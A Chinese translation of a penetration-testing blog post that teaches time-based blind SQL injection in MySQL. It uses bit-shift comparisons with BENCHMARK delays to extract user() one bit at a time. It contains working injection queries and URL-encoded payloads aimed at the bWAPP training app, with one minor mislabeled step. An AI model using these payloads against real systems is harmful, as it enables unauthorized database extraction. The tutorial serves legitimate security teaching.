本文翻译自:https://stealingthe.network/efficient-time-based-blind-sql-injection-using-mysql-bit-functions-and-operators/

我在2011年至2012年期间针对MySQL数据库集成的各种PHP应用程序进行了一些渗透测试,发现这些数据库容易受到基于时间的SQL盲注攻击。由于各种阻碍和限制,处理起来有些许棘手,因此,我不得不找到一种允许我尽可能少地检索数据的方法。

我偶然发现了使用位移技术演示SQL注入的文章:https://www.exploit-db.com/papers/17073/

在最近的CTF比赛Hack the Box(https://www.hackthebox.eu/ )中,我再次使用这种方法来处理一些棘手的SQL注入。

这篇博文将演示如何使用'右移'运算符(>>)来枚举从SQL查询返回的二进制形式的值。

注意:可以在以下URL找到位运算符的完整说明:https://dev.mysql.com/doc/refman/5.7/en/bit-functions.html

右移位运算符是将一个二进制数按指定移动的位数向右移动,如下例所示:

mysql> select ascii(b'01110010');

+--------------------+

| ascii(b'01110010') |

+--------------------+

|                114 |

+--------------------+

1 row in set (0.00 sec)



mysql> select ascii(b'01110010') >> 1;

+-------------------------+

| ascii(b'01110010') >> 1 |

+-------------------------+

|                      57 |

+-------------------------+

1 row in set (0.00 sec)

这可以用在利用SQL盲注入时枚举字符串的字符。如果数据出现在ASCII表中,则每个字符最多可以枚举8次。

我们希望通过此方法提取的数据是查询返回的第一个字符:select user()

第一位:

首先,我们找到第一位的值:
???????
这有两种可能性:
0(十进制值:0)// TRUE
或者
1(十进制值:1)// FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false');

+--------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false') |

+--------------------------------------------------------------------------------------+

| 0                                                                                    |

+--------------------------------------------------------------------------------------+

1 row in set (2.35 sec)

SQL查询存在时延,所以条件为TRUE,即第一位为0
0 ???????

第二位:
现在,我们需要找第二位的值。同上,这也有两种可能性:

0 0(十进制值:0)// TRUE
或者
0 1(十进制值:1)// FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false');

+--------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false') |

+--------------------------------------------------------------------------------------+

| false                                                                                |

+--------------------------------------------------------------------------------------+

1 row in set (0.00 sec)

SQL查询没有时延,所以条件为FALSE,即第二位为1

0 1 ?????

第三位:

接下来是第三位的值,同上,有以下两种情况:

01 0(十进制值:2)// TRUE
或者
01 1(十进制值:3)// FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false');

+--------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false') |

+--------------------------------------------------------------------------------------+

| false                                                                                |

+--------------------------------------------------------------------------------------+

1 row in set (0.00 sec)

SQL查询没有时延,所以条件为FALSE,即第三位为1

01 1 ?????

第四位:

然后是第四位的值。同上,有两种可能:

011 0(十进制:6)//TRUE
或者
011 1(十进制:7)// FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false');

+--------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false') |

+--------------------------------------------------------------------------------------+

| false                                                                                |

+--------------------------------------------------------------------------------------+

1 row in set (0.00 sec)

SQL查询没有时延,所以条件为FALSE,即第四位为1

011 1 ????

第五位:

然后是第五位的值。同上,有两种可能:
0111 0(十进制:14)//TRUE
或者
0111 1(十进制:15)// FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false');

+---------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false') |

+---------------------------------------------------------------------------------------+

| 0                                                                                     |

+---------------------------------------------------------------------------------------+

1 row in set (2.46 sec)

SQL查询存在时延,所以条件为TRUE,即第五位为0
0111 0???

第六位:

然后是第六位的值。同上,有两种可能:

01110 0(十进制:28)//TRUE
或者
01110 1(十进制:29)// FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false');

+---------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false') |

+---------------------------------------------------------------------------------------+

| 0                                                                                     |

+---------------------------------------------------------------------------------------+

1 row in set (2.44 sec)

SQL查询存在时延,因此条件为TRUE,所以第六位为0

01110 0 ??

第七位:
再然后是第七位的值。同上,有两种可能:

011100 0(十进制:56)//TRUE
或者
011100 1(十进制:57)// FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false');

+---------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false') |

+---------------------------------------------------------------------------------------+

| false                                                                                 |

+---------------------------------------------------------------------------------------+

1 row in set (0.00 sec)

SQL查询没有时延,所以条件为FALSE,即第七位为1

第四位必须为1

011100 1

第八位:

最后,我们需要找到第八位的值。同上,有两种可能:

0111001 0(十进制:114)//TRUE
或者
0111001 1(十进制:115)// FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false');

+----------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false') |

+----------------------------------------------------------------------------------------+

| 0                                                                                      |

+----------------------------------------------------------------------------------------+

1 row in set (2.33 sec)

SQL查询存在时延,所以条件为TRUE,即第八位为0

0111001 0

现在我们可以得出结论,查询返回的第一个字符的二进制值:select user()01110010,结果是十进制值为114。114是'r'字符的ASCII码。

mysql> select user();

+----------------+

| user()         |

+----------------+

| root@localhost |

+----------------+

1 row in set (0.00 sec)

为了演示这种类型的SQL盲注攻击,我已经讲述了怎样枚举在bWAPP上容易受到攻击的应用程序中由'select user()' 返回的第一个字符的第一个和最后一个二进制位:(https://www.vulnhub.com/entry/bwapp-bee-box-v16,53/)

1.SQLi字符串为第一位返回一个TRUE条件:

test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=0,benchmark(5000000,md5('test')),+'false')%23

2.SQLi字符串为第一位返回一个FALSE条件:

test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=1,benchmark(5000000,md5('test')),+'false')%23

3.SQLi字符串为第8位返回TRUE条件:

test%27+and+if+((ascii((substr(user(),1,1)))+>>+0+)=114,benchmark(5000000,md5('test')),+'false')%23

如果您喜欢这篇文章,请分享给您的朋友。

源链接

Hacking more

...